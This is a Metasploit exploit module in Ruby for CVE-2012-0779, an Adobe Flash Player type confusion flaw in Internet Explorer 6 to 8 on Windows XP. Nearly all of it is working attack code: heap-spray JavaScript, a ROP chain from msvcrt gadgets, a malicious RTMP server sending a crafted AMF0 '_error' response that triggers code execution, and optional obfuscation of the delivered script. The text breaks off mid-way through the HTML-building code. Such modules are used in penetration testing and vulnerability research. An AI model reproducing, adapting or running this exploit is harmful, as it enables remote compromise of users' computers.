## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", :method => "GetVariable", :classid => "ShockwaveFlash.ShockwaveFlash", :rank => NormalRanking, # reliable memory corruption :javascript => true }) def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Object Type Confusion", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt AMF0 "_error" response, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack. According to the advisory, 10.3.183.19 and 11.x before 11.2.202.235 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0779' ], [ 'OSVDB', '81656'], [ 'BID', '53395' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ] ], 'Payload' => { #'Space' => 1024, 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Flash Player 11.2.202.228 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt, 'RandomHeap' => false, 'Offset' => '238', 'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "May 04 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]), OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]), ], self.class ) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 else return nil end end def ret(t) return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll end def get_rop_chain(t) print_status("Using msvcrt ROP") p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem p << payload.encoded code = ret(t) code << rand_text(119) code << generate_rop_payload('msvcrt', p, {'target'=>'xp'}) offset = 2616 - code.length code << rand_text(offset) code << [ t['StackPivot'] ].pack("V") return code end def get_easy_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x185; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_rop, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var nops = unescape("#{js_nops}"); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x1c5; z++) { heap_obj.alloc(block); } JS return spray end def exploit @swf = create_swf # Boilerplate required to handled pivoted listeners comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end @rtmp_listener = Rex::Socket::TcpServer.create( 'LocalHost' => datastore['RTMPHOST'], 'LocalPort' => datastore['RTMPPORT'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } ) # Register callbacks @rtmp_listener.on_client_connect_proc = Proc.new { |cli| add_socket(cli) print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP") on_rtmp_connect(cli) } @rtmp_listener.start super end def my_read(cli,size,timeout=nil) if timeout.nil? timeout = cli.def_read_timeout end buf = "" ::Timeout::timeout(timeout) { while buf.length < size buf << cli.get_once(size - buf.length) end } buf end def do_handshake(cli) c0 = my_read(cli, 1) c1 = my_read(cli, 1536) # HandshakeSize => 1536 s0 = "\3" # s0 s1 = Rex::Text.rand_text(4) # s1.time s1 << "\x00\x00\x00\x00" # s1.zero s1 << Rex::Text.rand_text(1528) # s1.random_data s2 = c1 # s2 cli.put(s0) cli.put(s1) cli.put(s2) c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536) end def on_rtmp_connect(cli) begin do_handshake(cli) request = my_read(cli, 341) # connect request length case request when /connect/ rtmp_header = "\x03" # Chunk Stream ID rtmp_header << "\x00\x00\x00" # Timestamp rtmp_header << "\x00\x00\x71" # Body Size rtmp_header << "\x14" # AMF0 Command rtmp_header << "\x00\x00\x00\x00" # Stream ID # String rtmp_body = "\x02" # String rtmp_body << "\x00\x06" # String length rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number # Array rtmp_body << "\x0a" # AMF Type: Array rtmp_body << "\x00\x00\x00\x05" # Array length: 5 # Array elements rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Crafter Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number trigger = rtmp_header trigger << rtmp_body cli.put(trigger) @rtmp_listener.close_client(cli) end rescue ensure @rtmp_listener.close_client(cli) remove_socket(cli) end end def cleanup super return if not @rtmp_listener begin @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service) if @rtmp_listener.kind_of?(Rex::Socket) @rtmp_listener.close @rtmp_listener.stop end @rtmp_listener = nil rescue ::Exception end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending Exploit SWF") send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' }) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) js = get_aligned_spray(my_target, js_rop, js_nops) else js = get_easy_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf" if datastore['RTMPHOST'] == '0.0.0.0' rtmp_host = Rex::Socket.source_address('1.2.3.4') else rtmp_host = datastore['RTMPHOST'] end rtmp_port = datastore['RTMPPORT'] html = %Q|